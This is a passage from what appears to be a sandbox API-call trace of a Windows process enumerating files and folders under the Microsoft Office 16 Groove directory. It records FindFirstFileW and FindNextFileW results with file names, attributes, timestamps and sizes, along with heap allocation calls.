nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0283.392] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 1 [0283.392] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 0 [0283.392] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0283.392] GetProcessHeap () returned 0xaf0000 [0283.392] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0283.392] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0283.392] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0283.392] GetProcessHeap () returned 0xaf0000 [0283.392] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.393] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0283.394] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0283.394] GetProcessHeap () returned 0xaf0000 [0283.394] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.394] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0283.394] GetProcessHeap () returned 0xaf0000 [0283.394] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0283.395] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.395] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59cc74e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59cc74e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0283.395] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1 [0283.395] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1 [0283.395] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdee689, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="CONTAC~1.ICO")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f7aa31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e572fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e572fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="MESSAG~3.ICO")) returned 1 [0283.396] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x765018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x765018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x765018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="MESSAG~2.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a9d821, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="MESSAG~1.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="MODIFI~1.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fed144, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fed144, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fed144, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="ONLINE~2.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf263c7d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf263c7d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="ONLINE~1.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x765018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x765018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78b299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="OUTDOM~1.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="OUTSYN~1.ICO")) returned 1 [0283.397] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="PERSON~1.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd6924a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd6924a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="SESSIO~1.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="SESSIO~2.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69be349, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="SPACES~1.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf073ddf4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf073ddf4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="STATUS~1.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41f3e26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41f3e26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="STATUS~2.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="STATUS~3.ICO")) returned 1 [0283.398] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1 [0283.399] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1 [0283.399] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 1 [0283.399] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 0 [0283.399] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0283.401] GetProcessHeap () returned 0xaf0000 [0283.401] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.401] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0283.401] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0283.401] GetProcessHeap () returned 0xaf0000 [0283.401] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.402] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0283.402] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.VisualElementsManifest.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x211278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f2f, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="HeaderPatterns.xml", cAlternateFileName="HEADER~1.XML")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, 